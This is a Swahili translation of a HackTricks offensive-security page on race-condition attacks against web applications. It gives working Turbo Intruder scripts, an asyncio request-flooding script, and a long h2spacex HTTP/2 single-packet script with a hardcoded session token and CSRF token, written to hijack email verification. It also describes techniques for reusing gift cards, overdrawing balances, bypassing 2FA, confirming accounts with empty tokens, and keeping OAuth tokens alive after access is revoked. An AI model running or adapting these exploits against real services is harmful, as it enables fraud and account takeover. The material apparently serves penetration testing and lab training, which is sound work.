# Hali ya Mashindano
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za **jamii ya juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% hint style="warning" %} Ili kupata uelewa wa kina wa mbinu hii, angalia ripoti ya asili kwenye [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Kuboresha Mashambulizi ya Hali ya Mashindano Kizuizi kikuu katika kutumia mashindano ya hali ni kuhakikisha kuwa maombi mengi yanashughulikiwa wakati huo huo, na **tofauti ndogo sana katika nyakati zao za usindikaji—ideally, chini ya 1ms**. Hapa unaweza kupata baadhi ya mbinu za Kusawazisha Maombi: #### Shambulio la Pakiti Moja ya HTTP/2 dhidi ya Synchronization ya Byte ya Mwisho ya HTTP/1.1 * **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari ya mtikisiko wa mtandao. Hata hivyo, kutokana na tofauti za upande wa seva, maombi mawili hayawezi kuwa ya kutosha kwa kutumia mashindano ya hali kwa kawaida. * **HTTP/1.1 'Last-Byte Sync'**: Inawezesha kutuma sehemu kubwa ya maombi 20-30 mapema, kuzuia kipande kidogo, ambacho kisha hutumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva. **Maandalizi ya Last-Byte Sync** yanajumuisha: 1. Kutuma vichwa na data ya mwili bila byte ya mwisho bila kumaliza mwendelezo. 2. Kusimamisha kwa 100ms baada ya kutuma awali. 3. Kulemaza TCP\_NODELAY kutumia algorithm ya Nagle kwa kubatilisha fremu za mwisho. 4. Kutuma ping kwa kujotoa muunganisho. Kutuma kwa fremu zilizozuiliwa baadaye inapaswa kusababisha kuwasili kwao kwenye pakiti moja, inayoweza kuthibitishwa kupitia Wireshark. Mbinu hii haitumiki kwa faili za tuli, ambazo kawaida hazihusiki katika mashambulizi ya RC. ### Kuzoea Mimarizi ya Seva Kuelewa muundo wa mwelekeo wa lengo ni muhimu. Seva za mbele zinaweza kupeleka maombi kwa njia tofauti, zikibadilisha wakati. Kujotoa mapema kwa upande wa seva, kupitia maombi yasiyo na maana, kunaweza kawaidaisha wakati wa maombi. #### Kukabiliana na Kufunga kwa Kulingana na Kikao Mifumo kama kushughulikia kikao cha PHP inaserializa maombi kwa kikao, ikificha mara nyingi udhaifu. Kutumia alama tofauti za kikao kwa kila ombi kunaweza kuzunguka suala hili. #### Kupita Vizuizi vya Kiwango au Rasilimali Ikiwa kujotoa kwa muunganisho hakufanikiwa, kusababisha kwa makusudi kuchelewesha kwa kikomo cha kiwango au rasilimali cha seva za wavuti kupitia mafuriko ya maombi bandia kunaweza kurahisisha shambulio la pakiti moja kwa kusababisha kucheleweshwa kwa upande wa seva inayofaa kwa mashindano ya hali. ## Mifano ya Mashambulizi * **Tubo Intruder - shambulio la pakiti moja la HTTP2 (kituo 1)**: Unaweza kutuma ombi kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha katika ombi thamani unayotaka kudungua kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye menyu ya kunjua:
Ikiwa unakwenda kutuma **thamani tofauti**, unaweza kubadilisha nambari na hii inayotumia orodha ya maneno kutoka kwa ubao wa kunakili: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Ikiwa wavuti haiungi mkono HTTP2 (tu HTTP1.1) tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`. {% endhint %} * **Tubo Intruder - Shambulio la kifurushi kimoja cha HTTP2 (Vipengele kadhaa)**: Ikiwa unahitaji kutuma ombi kwa kipengee 1 na kisha vingine vingi kwa vipengee vingine kusababisha RCE, unaweza kubadilisha hati ya `race-single-packet-attack.py` na kitu kama: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Pia inapatikana katika **Repeater** kupitia chaguo jipya la '**Tuma kikundi kwa pamoja**' katika Burp Suite. * Kwa **kuzidi kikomo**, unaweza tu kuongeza **ombi moja mara 50** katika kikundi. * Kwa **kuwasha uhusiano**, unaweza **kuongeza** mwanzoni mwa **kikundi** baadhi ya **maombi** kwa sehemu isiyo ya kudumu ya seva ya wavuti. * Kwa **kuchelewesha** mchakato **kati ya** kusindika **ombi moja na nyingine** katika hatua 2 za substates, unaweza **kuongeza maombi ya ziada kati ya** maombi hayo yote. * Kwa RC ya **multi-endpoint** unaweza kuanza kutuma **ombi** linaloenda kwenye hali iliyofichwa na kisha **maombi 50** mara baada yake ambayo **yanatumia hali iliyofichwa**.
* **Skripti ya Python iliyotuimiliza**: Lengo la skripti hii ni kubadilisha barua pepe ya mtumiaji wakati ikithibitisha mara kwa mara hadi ishara ya uthibitisho wa barua pepe mpya inapofika kwenye barua pepe ya mwisho (hii ni kwa sababu katika nambari ilikuwa inaona RC ambapo ilikuwa inawezekana kubadilisha barua pepe lakini uthibitisho ulitumwa kwa ile ya zamani kwa sababu ya kigezo kilichokuwa kimejazwa tayari na ile ya kwanza).\ Wakati neno "objetivo" linapopatikana katika barua pepe zilizopokelewa tunajua tumepokea ishara ya uthibitisho wa barua pepe iliyobadilishwa na tunamaliza shambulizi. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### BF Mbichi Kabla ya utafiti uliopita hizi ni baadhi ya mizigo iliyotumiwa ambayo ilijaribu kutuma pakiti haraka iwezekanavyo kusababisha RC. * **Repeater:** Angalia mifano kutoka kwenye sehemu iliyopita. * **Mvamizi:** Tuma **ombi** kwa **Mvamizi**, weka **idadi ya nyuzi** kuwa **30** ndani ya **Menyu za Chaguo** na, chagua mizigo ya **Mizigo tupu** na uzalishe **30.** * **Mvamizi wa Turbo** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **Mbinu ya RC** ### Kikomo-kuzidi / TOCTOU Hii ni aina ya msingi kabisa ya hali ya mbio ambapo **udhaifu** unaonekana mahali ambapo **kuna kikomo cha mara ngapi unaweza kufanya kitendo**. Kama kutumia nambari ile ile ya punguzo katika duka la mtandao mara kadhaa. Mfano rahisi sana unaweza kupatikana katika [**ripoti hii**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**kosa hili**](https://hackerone.com/reports/759247)**.** Kuna mabadiliko mengi ya aina hii ya shambulio, ikiwa ni pamoja na: * Kukomboa kadi ya zawadi mara kadhaa * Kupima bidhaa mara kadhaa * Kutoa au kuhamisha pesa zaidi ya salio lako la akaunti * Kutumia suluhisho moja la CAPTCHA mara nyingi * Kupita kikomo cha kiwango cha anti-brute-force ### **Hali za siri** Kuendeleza hali ngumu za mbio mara nyingi kunahusisha kutumia fursa fupi za kuingiliana na hali za siri au **hali ndogo za mashine zisizotarajiwa**. Hivi ndivyo unavyoweza kukaribia hili: 1. **Tambua Hali za Siri Zinazowezekana** * Anza kwa kubainisha vituo vya mwisho vinavyobadilisha au kuingiliana na data muhimu, kama vile maelezo ya mtumiaji au michakato ya kurejesha nywila. Jikite katika: * **Uhifadhi**: Penda vituo vya mwisho vinavyobadilisha data endelevu upande wa seva kuliko vile vinavyoshughulikia data upande wa mteja. * **Kitendo**: Tafuta shughuli zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kujenga hali zinazoweza kudukuliwa ikilinganishwa na zile zinazozingatia data mpya. * **Ufunguo**: Mashambulizi mafanikio kawaida hujumuisha shughuli zinazotegemea kitambulisho kimoja, kama vile jina la mtumiaji au ishara ya kurejesha. 2. **Fanya Uchunguzi wa Awali** * Jaribu vituo vilivyobainishwa na mashambulio ya hali ya mbio, ukitazama mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria udhaifu. 3. **Onyesha Udhaifu** * Punguza mashambulio hadi idadi ndogo ya maombi inayohitajika kudukua udhaifu, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au uendeshaji wa moja kwa moja kutokana na wakati sahihi unaohusika. ### Mashambulio ya Wakati wa Kuhitajika Uakisi katika kutuma maombi kwa wakati unaweza kufunua udhaifu, hasa wakati mbinu za kutabirika kama vile alama za wakati hutumiwa kwa ajili ya vibali vya usalama. Kwa mfano, kutengeneza alama za kurejesha nywila kulingana na alama za wakati kunaweza kuruhusu alama sawa kwa maombi yanayofanyika wakati mmoja. **Kutumia kwa Udhaifu:** * Tumia wakati sahihi, kama shambulio la pakiti moja, kufanya maombi ya kurejesha nywila kwa wakati mmoja. Alama sawa zinaonyesha udhaifu. **Mfano:** * Omba alama mbili za kurejesha nywila kwa wakati mmoja na uzilinganishe. Alama zinazolingana zinaonyesha kasoro katika utengenezaji wa alama. **Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **kujaribu hili.** ## Uchunguzi wa Kesi za Hali za Siri ### Lipa & ongeza Bidhaa Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kuona jinsi ya **kulipa** katika duka na **kuongeza** bidhaa ya ziada ambayo **hutahitaji kulipa**. ### Thibitisha barua pepe nyingine Wazo ni **kuthibitisha anwani ya barua pepe na kuibadilisha kuwa nyingine wakati huo huo** ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa. ### Badilisha barua pepe kuwa anwani 2 za barua pepe zinazotegemea Vidakuzi Kulingana na [**utafiti huu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa na udhaifu wa kuchukuliwa kwa njia hii kwa sababu inaweza **kutuma** **ishara ya uthibitisho wa barua pepe ya moja kwa nyingine**. **Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **kujaribu hili.** ### Hali za Siri za Hifadhidata / Kupuuza Uthibitisho Ikiwa **kuandika tofauti 2** hutumiwa kwa **kuongeza** **taarifa** ndani ya **hifadhidata**, kuna sehemu ndogo ya wakati ambapo **data ya kwanza tu imeandikwa** ndani ya hifadhidata. Kwa mfano, wakati wa kuunda mtumiaji **jina la mtumiaji** na **nywila** inaweza **kuandikwa** na **kisha ishara** ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii inamaanisha kwamba kwa muda mfupi **ishara ya kuthibitisha akaunti ni tupu**. Hivyo **kujiandikisha akaunti na kutuma maombi kadhaa na ishara tupu** (`ishara=` au `ishara[]=` au mabadiliko mengine yoyote) kuthibitisha akaunti mara moja inaweza kuruhusu kuthibitisha akaunti ambapo haukudhibiti barua pepe. **Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **kujaribu hili.** ### Kupita 2FA Pseudo-kificho kifuatacho ni dhaifu kwa hali ya mbio kwa sababu kwa muda mfupi sana **2FA haijatumiki** wakati kikao kinajengwa: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### Kudumu kwa muda mrefu wa OAuth2 Kuna [**watoa huduma wa OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Huduma hizi zitaruhusu kuunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, **mteja** atahitaji **kuidhinisha programu yako** ili kupata baadhi ya data yao ndani ya **mtoa huduma wa OAuth**.\ Kwa hivyo, mpaka hapa ni kama kuingia kawaida na google/linkedin/github... ambapo unaulizwa kwenye ukurasa unasema: "_Programu \ inataka kupata taarifa zako, unataka kuruhusu?_" #### Hali ya Mashindano katika `authorization_code` **Tatizo** linatokea unapopokea na kutuma **`authorization_code`** kiotomatiki kwa programu ya madhara. Kisha, programu hii inatumia Hali ya Mashindano katika mtoa huduma wa OAuth kuzalisha zaidi ya AT/RT (_Authentication Token/Refresh Token_) kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kupata data yako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **unakataza programu kupata data yako** jozi moja ya AT/RT itafutwa, lakini zingine zitabaki halali. #### Hali ya Mashindano katika `Refresh Token` Baada ya **kupata RT halali** unaweza kujaribu **kuitumia vibaya kuzalisha AT/RT kadhaa** na **hata ikiwa mtumiaji anafuta ruhusa** kwa programu ya madhara kupata data yake, **RT kadhaa bado itakuwa halali**. ## **Hali ya Mashindano katika WebSockets** Katika [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) unaweza kupata PoC katika Java kutuma ujumbe wa websocket **kwa wakati mmoja** kuitumia **Hali za Mashindano pia katika Web Sockets**. ## Marejeo * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 **kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kudhibiti mchakato** kwa kutumia zana za **jamii za juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}